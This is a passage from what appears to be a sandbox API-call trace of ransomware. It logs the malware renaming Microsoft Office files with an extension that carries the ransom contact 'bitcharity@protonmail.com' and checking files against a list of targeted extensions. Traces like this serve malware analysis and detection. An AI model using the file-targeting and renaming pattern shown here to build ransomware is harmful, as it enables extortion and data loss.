files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmail.nrr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.369] CloseHandle (hObject=0x118c) returned 1 [0258.370] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.370] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMailRead.nrr.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmailread.nrr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.370] CloseHandle (hObject=0x118c) returned 1 [0258.371] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.372] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqRead.nrr.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqread.nrr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.372] CloseHandle (hObject=0x118c) returned 1 [0258.373] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.373] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqSend.nrr.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqsend.nrr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.374] CloseHandle (hObject=0x118c) returned 1 [0258.375] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.375] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookTask.nrr.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlooktask.nrr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.378] CloseHandle (hObject=0x118c) returned 1 [0258.379] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.455] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMePowerPoint.nrr.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmepowerpoint.nrr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.605] CloseHandle (hObject=0x118c) returned 1 [0258.691] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.691] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VALVE.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\valve.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.692] CloseHandle (hObject=0x1068) returned 1 [0258.693] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.693] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISCOLOR.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\viscolor.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.694] CloseHandle (hObject=0x1068) returned 1 [0258.696] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.696] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.696] CloseHandle (hObject=0x1068) returned 1 [0258.697] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.697] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.697] CloseHandle (hObject=0x1068) returned 1 [0258.698] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.698] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.699] CloseHandle (hObject=0x1068) returned 1 [0258.700] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.700] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.700] CloseHandle (hObject=0x1068) returned 1 [0258.701] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.701] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.701] CloseHandle (hObject=0x1068) returned 1 [0258.702] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.702] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.703] CloseHandle (hObject=0x1068) returned 1 [0258.704] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.704] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.704] CloseHandle (hObject=0x1068) returned 1 [0258.705] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.705] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.705] CloseHandle (hObject=0x1068) returned 1 [0258.706] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.706] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.707] CloseHandle (hObject=0x1068) returned 1 [0258.707] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.708] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.708] CloseHandle (hObject=0x1068) returned 1 [0258.709] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.709] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.709] CloseHandle (hObject=0x1068) returned 1 [0258.710] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.710] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.710] CloseHandle (hObject=0x1068) returned 1 [0258.712] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.712] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.712] CloseHandle (hObject=0x1068) returned 1 [0258.713] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.713] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.713] CloseHandle (hObject=0x1068) returned 1 [0258.714] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.714] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.715] CloseHandle (hObject=0x1068) returned 1 [0258.715] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.715] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISUTILS.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visutils.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.716] CloseHandle (hObject=0x1068) returned 1 [0258.717] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.717] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISWEB.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visweb.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.717] CloseHandle (hObject=0x1068) returned 1 [0258.721] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.722] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDALLLNK.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdalllnk.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.722] CloseHandle (hObject=0x1068) returned 1 [0258.960] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.960] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0258.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDERRLNK.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wderrlnk.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.018] CloseHandle (hObject=0x1288) returned 1 [0262.176] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.excel.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.client.excel.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0262.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.dll") returned 135 [0262.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.dll") returned 135 [0262.176] lstrlenW (lpString=".doc") returned 4 [0262.176] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0262.177] lstrlenW (lpString=".docx") returned 5 [0262.177] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0262.177] lstrlenW (lpString=".pdf") returned 4 [0262.177] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0262.178] lstrlenW (lpString=".xls") returned 4 [0262.178] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0262.178] lstrlenW (lpString=".xlsx") returned 5 [0262.178] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0262.178] lstrlenW (lpString=".ppt") returned 4 [0262.178] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0262.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.dll") returned 135 [0262.178] lstrlenW (lpString=".zip") returned 4 [0262.178] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0262.178] lstrlenW (lpString=".rar") returned 4 [0262.178] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0262.181] lstrlenW (lpString=".bz2") returned 4 [0262.181] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0262.181] lstrlenW (lpString=".7z") returned 3 [0262.181] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0262.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.dll") returned 135 [0262.182] lstrlenW (lpString=".dbf") returned 4 [0262.182] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0262.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.dll") returned 135 [0262.182] lstrlenW (lpString=".1cd") returned 4 [0262.182] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0262.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.dll") returned 135 [0262.182] lstrlenW (lpString=".jpg") returned 4 [0262.182] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0262.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.dll") returned 135 [0262.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.dll") returned 135 [0262.182] lstrlenW (lpString=".doc") returned 4 [0262.182] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0262.182] lstrlenW (lpString=".docx") returned 5 [0262.182] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0262.182] lstrlenW (lpString=".pdf") returned 4 [0262.182] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0262.182] lstrlenW (lpString=".xls") returned 4 [0262.182] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0262.182] lstrlenW (lpString=".xlsx") returned 5 [0262.182] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0262.182] lstrlenW (lpString=".ppt") returned 4 [0262.183] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0262.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.dll") returned 135 [0262.183] lstrlenW (lpString=".zip") returned 4 [0262.183] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0262.183] lstrlenW (lpString=".rar") returned 4 [0262.183] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0262.183] lstrlenW (lpString=".bz2") returned 4 [0262.183] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0262.183] lstrlenW (lpString=".7z") returned 3 [0262.183] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0262.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel 